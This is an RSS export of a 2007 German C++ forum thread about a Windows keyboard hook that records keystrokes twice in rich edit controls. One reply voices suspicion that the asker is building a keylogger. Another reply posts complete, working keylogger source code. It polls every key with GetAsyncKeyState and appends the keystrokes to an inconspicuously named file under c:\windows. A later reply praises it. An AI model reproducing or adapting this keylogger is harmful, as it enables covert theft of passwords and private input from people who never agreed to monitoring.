<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Problem mit Windows Keyboard Hook]]></title><description><![CDATA[<p>Hallo,</p>
<p>ich benötige für eine Anwendung einen globalen Tastatur-Hook. Das Mitschneiden der Tastatureingabe funktioniert auch soweit ganz gut, wenn ich z.B. etwas in Notepad tippe. Nur, wenn ich etwas in eine Rich Edit Controll (oder wie auch immer das noch mal heißt...) eintippe (wie etwa hier in Firefox), dann erfasst er alle Keystrokes doppelt.<br />
Hat jemand eine Idee woran das liegen könnte und wie ich es beheben kann?</p>
<p>Vielen Dank!</p>
<p>Anbei Auszüge aus meiner HookProc:</p>
<pre><code>EXPORT LRESULT CALLBACK HookProc(int Code, WPARAM wParam, LPARAM lParam)
{
	if (Code &gt;= 0 &amp;&amp; !(lParam &amp; (1 &lt;&lt; 31)))
	{
		if(wParam==.....)
		{
			// Die Keys auswerten (hab sie erst mal alle in eine Datei schreiben lassen um es zu testen)
		}
		else if(......)
		{
			// und so weiter
		}
	}

	return(CallNextHookEx(hhook, Code, wParam, lParam));
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/topic/192213/problem-mit-windows-keyboard-hook</link><generator>RSS for Node</generator><lastBuildDate>Wed, 01 Jul 2026 01:57:41 GMT</lastBuildDate><atom:link href="https://www.c-plusplus.net/forum/topic/192213.rss" rel="self" type="application/rss+xml"/><pubDate>Tue, 11 Sep 2007 18:41:31 GMT</pubDate><ttl>60</ttl><item><title><![CDATA[Reply to Problem mit Windows Keyboard Hook on Tue, 11 Sep 2007 18:41:31 GMT]]></title><description><![CDATA[<p>Hallo,</p>
<p>ich benötige für eine Anwendung einen globalen Tastatur-Hook. Das Mitschneiden der Tastatureingabe funktioniert auch soweit ganz gut, wenn ich z.B. etwas in Notepad tippe. Nur, wenn ich etwas in eine Rich Edit Controll (oder wie auch immer das noch mal heißt...) eintippe (wie etwa hier in Firefox), dann erfasst er alle Keystrokes doppelt.<br />
Hat jemand eine Idee woran das liegen könnte und wie ich es beheben kann?</p>
<p>Vielen Dank!</p>
<p>Anbei Auszüge aus meiner HookProc:</p>
<pre><code>EXPORT LRESULT CALLBACK HookProc(int Code, WPARAM wParam, LPARAM lParam)
{
	if (Code &gt;= 0 &amp;&amp; !(lParam &amp; (1 &lt;&lt; 31)))
	{
		if(wParam==.....)
		{
			// Die Keys auswerten (hab sie erst mal alle in eine Datei schreiben lassen um es zu testen)
		}
		else if(......)
		{
			// und so weiter
		}
	}

	return(CallNextHookEx(hhook, Code, wParam, lParam));
}
</code></pre>
]]></description><link>https://www.c-plusplus.net/forum/post/1363588</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1363588</guid><dc:creator><![CDATA[frwe]]></dc:creator><pubDate>Tue, 11 Sep 2007 18:41:31 GMT</pubDate></item><item><title><![CDATA[Reply to Problem mit Windows Keyboard Hook on Wed, 12 Sep 2007 09:28:08 GMT]]></title><description><![CDATA[<p>Mit dem Stück Code kann keiner was anfangen...</p>
<p>Da hat wohl jemand vor nen Keylogger zu schreiben, was? <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f644.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--face_with_rolling_eyes"
      title=":rolling_eyes:"
      alt="🙄"
    /> Da kann es passieren, dass eh niemand hilft..</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1363880</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1363880</guid><dc:creator><![CDATA[Machine]]></dc:creator><pubDate>Wed, 12 Sep 2007 09:28:08 GMT</pubDate></item><item><title><![CDATA[Reply to Problem mit Windows Keyboard Hook on Fri, 14 Sep 2007 10:10:20 GMT]]></title><description><![CDATA[<p>#include &lt;windows.h&gt;<br />
#include &lt;Winuser.h&gt;<br />
#include &lt;string&gt;<br />
#include &lt;fstream&gt;<br />
#include &lt;iostream&gt;<br />
#include &lt;cstdlib&gt;</p>
<p>using namespace std;</p>
<p>string Filename = &quot;c:\\windows\\KiLog23&quot;;<br />
string TempStream = &quot;c:\\Windows\\KiLogTemp23&quot;;</p>
<p>//Testet ob ein Key abgefragt wurde<br />
string GetKey(int Key)<br />
{<br />
string KeyString = &quot;&quot;;</p>
<p>if (Key == <img
      src="https://www.c-plusplus.net/forum/plugins/nodebb-plugin-emoji/emoji/emoji-one/1f60e.png?v=ab1pehoraso"
      class="not-responsive emoji emoji-emoji-one emoji--smiling_face_with_sunglasses"
      title="8)"
      alt="😎"
    /><br />
KeyString = &quot;[delete]&quot;;<br />
else if (Key == 13)<br />
KeyString = &quot;\n&quot;;<br />
else if (Key == 32)<br />
KeyString = &quot; &quot;;<br />
else if (Key == VK_PAUSE)<br />
KeyString = &quot;[PAUSE]&quot;;<br />
else if (Key == VK_CAPITAL)<br />
KeyString = &quot;[CAPITAL]&quot;;<br />
else if (Key == VK_SHIFT)<br />
KeyString = &quot;[SHIFT]&quot;;<br />
else if (Key == VK_TAB)<br />
KeyString = &quot;[TABULATOR]&quot;;<br />
else if (Key == VK_CONTROL)<br />
KeyString = &quot;[CTRL]&quot;;<br />
else if (Key == VK_ESCAPE)<br />
KeyString = &quot;[ESCAPE]&quot;;<br />
else if (Key == VK_END)<br />
KeyString = &quot;[END]&quot;;<br />
else if (Key == VK_HOME)<br />
KeyString = &quot;[HOME]&quot;;<br />
else if (Key == VK_LEFT)<br />
KeyString = &quot;[LEFT]&quot;;<br />
else if (Key == VK_RIGHT)<br />
KeyString = &quot;[RIGHT]&quot;;<br />
else if (Key == VK_UP)<br />
KeyString = &quot;[UP]&quot;;<br />
else if (Key == VK_DOWN)<br />
KeyString = &quot;[DOWN]&quot;;<br />
else if (Key == VK_SNAPSHOT)<br />
KeyString = &quot;[SNAPSHOT]&quot;;<br />
else if (Key == VK_NUMLOCK)<br />
KeyString = &quot;[NUMLOCK]&quot;;<br />
else if (Key == 190 || Key == 110)<br />
KeyString = &quot;.&quot;;<br />
//Char klein machen<br />
else if (Key &gt;=96 &amp;&amp; Key &lt;= 105)<br />
KeyString = Key-48;<br />
else if (Key &gt; 47 &amp;&amp; Key &lt; 60)<br />
KeyString = Key;</p>
<p>if (Key != VK_LBUTTON || Key != VK_RBUTTON)<br />
{<br />
if (Key &gt; 64 &amp;&amp; Key &lt; 91)<br />
{<br />
if (GetKeyState(VK_CAPITAL))<br />
KeyString = Key;<br />
else<br />
{<br />
Key = Key + 32;<br />
KeyString = Key;<br />
}<br />
}<br />
}</p>
<p>return KeyString;<br />
}</p>
<p>int Temp(void)<br />
{<br />
fstream in , out;<br />
int retur = 0;<br />
char zeichen;</p>
<p>in.open(TempStream.c_str() ,ios_base::in);</p>
<p>if(in.fail() != 0)<br />
{<br />
in.close();<br />
zeichen = 0x1;</p>
<p>}</p>
<p>in &gt;&gt;zeichen;<br />
cout &lt;&lt;zeichen;<br />
in.close();</p>
<p>if(zeichen &lt;= 0x14 )<br />
++zeichen;</p>
<p>else<br />
{<br />
zeichen = 0x1;<br />
retur = -1;<br />
}</p>
<p>out.open(TempStream.c_str() , ios_base::out );</p>
<p>out &lt;&lt; zeichen;</p>
<p>out.close();</p>
<p>return retur;<br />
}</p>
<p>/*<br />
int APIENTRY WinMain(HINSTANCE hInstance,<br />
HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)</p>
<p>*/<br />
INT WINAPI WinMain( HINSTANCE hInst, HINSTANCE, LPSTR strCmdLine, INT )<br />
{</p>
<p>//MessageBox(NULL,&quot;mindestens&quot;,&quot;mindestens.exe&quot; , NULL );</p>
<p>string TempString = &quot;&quot;;<br />
fstream FStream ;<br />
FStream.open(Filename.c_str(), fstream::out | fstream::app);</p>
<p>if(Temp() == -1)<br />
{<br />
FStream.close();<br />
remove(Filename.c_str());</p>
<p>FStream.open(Filename.c_str(), fstream::out | fstream::app);</p>
<p>}</p>
<p>while(true)<br />
{<br />
//Verhindert CPU Auslastung 5ms sleep<br />
Sleep(5);</p>
<p>for(int i = 8; i &lt; 256; i++)<br />
{<br />
if(GetAsyncKeyState(i)&amp;1 ==1)<br />
{<br />
TempString = GetKey (i);</p>
<p>/<em>if(TempString == &quot;ende&quot;)<br />
{<br />
MessageBox(NULL,&quot;mindestens&quot; , &quot;mindestens.exe&quot; , NULL);<br />
exit(1);<br />
}</em>/</p>
<p>FStream.write(TempString.c_str(), TempString.size());<br />
FStream.close();<br />
FStream.open(Filename.c_str(), fstream::out | fstream::app);<br />
cout &lt;&lt;TempString&lt;&lt;&quot;\n&quot;;</p>
<p>}<br />
}<br />
}<br />
}</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1365140</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1365140</guid><dc:creator><![CDATA[ralle666]]></dc:creator><pubDate>Fri, 14 Sep 2007 10:10:20 GMT</pubDate></item><item><title><![CDATA[Reply to Problem mit Windows Keyboard Hook on Fri, 14 Sep 2007 14:35:20 GMT]]></title><description><![CDATA[<p>Geile Sache</p>
]]></description><link>https://www.c-plusplus.net/forum/post/1365322</link><guid isPermaLink="true">https://www.c-plusplus.net/forum/post/1365322</guid><dc:creator><![CDATA[tenchou]]></dc:creator><pubDate>Fri, 14 Sep 2007 14:35:20 GMT</pubDate></item></channel></rss>